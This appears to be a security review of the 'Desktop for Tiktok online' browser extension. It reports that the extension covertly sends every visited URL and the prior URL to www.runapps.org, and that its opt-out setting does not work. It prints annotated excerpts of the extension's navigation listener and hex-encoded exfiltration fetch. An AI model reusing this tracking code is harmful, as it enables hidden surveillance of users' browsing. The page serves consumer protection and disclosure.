Is Desktop for Tiktok online safe?
Desktop for Tiktok online sends every page URL you visit and the previous URL to www.runapps.org.
The background script reports each top-level navigation, including full URLs with query strings and the tab's previous URL, hex-encoded alongside a persistent random user ID. The options page's opt-out checkbox writes a different storage key than the tracking code reads, so it does not stop the reporting. A server reply can also make the extension open runapps.org tabs that carry the user ID and visited URL.
Who publishes itRunApps - no other listings under this identity
RunApps - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Add-on sends each page you open, with the previous page, to www.runapps.org
Code analysis shows the background script sends every top-level page URL, plus the tab's previous URL, hex-encoded with a persistent ID, to www.runapps.org on navigation.
No dynamic capture was made.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You open a page in any tab.
The listener covers every http or https address.
The add-on sends that page's URL and the tab's previous URL to www.runapps.org.
Both are hex-encoded and sent with a persistent random ID.
- Visited page URLhttps://example.com/account?id=1234
The full address of the page you just opened, including any query string.
- Previous page URLhttps://example.com/search?q=shoes
The address previously loaded in the same tab, giving a browsing trail.
- Persistent IDk3x9a1b7qz (illustrative)
A random 10-character ID kept in local storage that links requests from one browser.
- Day of monthd22=09
The current day number, sent as a parameter alongside the data.
Navigation listener and reporting function in runapps.js
Navigation listener, annotated
runapps.jschrome.webNavigation.onCommitted.addListener(details => { if (details.frameId !== 0) return; // main frame only if (details.transitionType.indexOf("frame") <= 0) { const current = details.url; // full URL, query string included chrome.storage.local.get(String(details.tabId), item => { const previous = item[String(details.tabId)]; // previous URL in this tab reportVisit(current + "|||" + previous); // sent to www.runapps.org chrome.storage.local.set({ [details.tabId]: current }); }); }}, { url: [{ hostContains: "." }] });Reporting function, annotated
runapps.jsasync function reportVisit(payload) { if (!(await notAlreadyReportedToday())) return; // suppresses only if stored reply == day-1 const id = persistentRandomId; // 10-char id kept in chrome.storage.local const day = new Date().toLocaleString("default", { day: "2-digit" }); const r = await fetch("https://www.runapps.org/app/applicaton-tiktok.php?d22=" + day + "&fpah=" + toHex(payload) + "&xx=1&u=" + id); if (r.status === 200 && (await r.text()).includes("OKOK")) { // server reply may also open a runapps.org tab carrying the same hex payload }}Decodes the fpah query parameter sent to www.runapps.org back into the current and previous URLs.
- Node.js 18+
// Decode the fpah parameter sent to www.runapps.org// usage: node decode-fpah.js <hex>const hex = process.argv[2] || "";let s = "";for (let i = 0; i < hex.length; i += 2) s += String.fromCharCode(parseInt(hex.substr(i, 2), 16));const [current, previous] = s.split("|||");console.log("current URL :", current);console.log("previous URL:", previous);- 1node decode-fpah.js 68747470733a2f2f6578616d706c652e636f6d7c7c7c756e646566696e6564
- www.runapps.org
Receives hex-encoded visited and previous URLs with a persistent ID.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every secure site you visit
https://*/*
Read and change your data on every site you visit
http://*/*
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Where it sends data
Destinations our analysis observed Desktop for Tiktok online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.runapps.org
Desktop for Tiktok online sends data to www.runapps.org. 16 other extensions we have analysed send data here.